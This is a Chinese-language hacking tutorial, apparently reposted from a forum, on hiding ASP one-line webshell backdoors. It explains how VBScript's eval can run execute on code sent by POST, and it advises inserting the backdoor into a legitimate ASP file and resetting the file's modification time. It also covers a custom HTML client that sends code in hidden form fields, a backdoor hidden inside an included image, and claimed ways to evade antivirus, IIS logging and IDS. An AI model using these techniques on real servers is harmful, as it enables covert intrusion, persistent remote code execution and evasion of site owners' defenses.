說實話, 我沒看明白,不過慢慢看咯(真的是ASP哦)。呵呵
先管理員防範WebShell的技術也有所提高,以前那種直接放上一個WebShell的時代離我們而去了,現在的WebShell越來越注重隱蔽性。WebShell的隱藏技術也發展得很快,從改變代碼大小寫
到C/S模式,都是牛人們智慧的結晶。說到C/S模式,是不是讓你想起ASP下那個"Execute Request("#")"一句話
後門,呵呵,今天我也跟大家介紹一個ASP一句話後門,不過不是execute,而是另一個函數——eval。
嗯,先來說說eval後門的原理和使用方法,不會的聽仔細啦。偶們知道在asp裡面有個execute函數專門用
來執行asp代碼,這個就類似於Javascript裡面的eval函數。所以execute就可以拿來做成一
句話後門:execute request("x")。不過,當POST的參數x為空白時execute函數會出錯,所以你得加一
句容錯語句才是。其實VBScript裡面也有eval函數的,不知道能不能拿來用,嗯,看看它功能先:
Eval函數
計算一個運算式的值並返回結果。
[result = ] Eval(expression)
參數
result
可選項。 是一個變數,用於接受返回的結果。如果未指定結果,應考慮使用 Execute 語句代替。
expression
必選項。可以是包含任何有效VBScript運算式的字串。
小提示:
在VBScript 中,x = y可以有兩種解釋。第一種方式是指派陳述式,將y的值賦予x。第二種解釋
是測試x 和y是否相等。如果相等,result為True;否則result為False。Eval方法總是採用第
二種解釋,而Execute語句總是採用第一種。
注意,參數expression"可以是包含任何有效VBScript運算式的字串"。呵呵,那不就是暗示
我們eval能執行任意代碼嘛。不過看那個說明,eval總是把指派陳述式解釋成判斷句,豈不是不能
拿來賦值。呵呵,不要緊,如果我們拿eval來執行execute再由execute執行任意代碼呢?
呵呵,eval後門誕生了!
同execute相比,eval有個好處就是當參數為空白不會出錯,所以迄今為止最短的ASP後門就是""。數數吧,
是不是比以前的都短啊,呵呵。
把eval函數插入到一正常的ASP檔案,你的後門就留好了(如果能夠把檔案最後修改時間改回去就更好了)
。現在可以執行任意代碼了,當然,代碼需要你用用戶端POST上去。
用戶端用網頁實現很是方便。海陽頂端有個eval用戶端,好像是用session儲存代碼然後執行,不過我試了幾
次都不行,唉,還是自己寫一個吧。
我做的這個用戶端與海陽的不同,是由各個功能分別構成,每個功能使用一個htm頁面,對應一段代碼,放在
網頁的隱藏欄位。參考了冰狐浪子那個微型ASP後門用戶端的網頁結構,感謝之。
先前不是說了,我們得用eval執行execute再由execute執行代碼。所以隱藏欄位的內容類別
似於"execute("response.write(""Hello , World !""):response.write(""
"")"——注意在引號之中的引號得雙寫;而且execute中的字元可以使用斷行符號換行也可以用冒
號代替斷行符號換行。
這樣子還不夠,我們還要"斬頭去尾"。斬頭呢就是把我們的後門代碼執行之前的資料清空,去
尾呢就是把後門執行代碼之後的資料清空,不能讓其他無用資料影響我們看回顯嘛。
這個分別用response.clear和response.end來完成。Ok,經過一番斬頭去尾,我們的隱藏
域就成了:"resposne.clear:execute("response.write(""Hello, World!""):response.write(""
""):response.end")"。
這裡順便說一下,去年不是有牛人提出用#i nclude一圖片的形式來隱藏後門,圖片最後
是一段asp代碼。當時不是說這個方法執行代碼之後會顯示圖片而沒有回顯嗎,其實是有回顯的
,你把圖片儲存後用十六進位編輯軟體開啟,原來回顯內容在圖片末尾。呵呵,想到
了吧,用response.clear就可以清除圖片顯示出回顯啦。
現在的任務就是找點ASP後門的代碼改動改動再結合Javascript做成html檔案就是了,有
興趣的朋友看代碼,在此就不贅述咯。另外,execute函數也可以使用這個用戶端的哦。
這種後門的優點就是體積小,隱蔽性高,殺毒軟體不能查殺,而且所有提交的資料
都是POST方式,IIS日誌不會記錄;缺點是每次執行代碼都會有大量資料傳送,而且代碼通過execute執行速度會慢些。
這種執行代碼還有一個好處就是可以把POST的代碼加密,繞過IDS,呵呵,這個嘛以後再說咯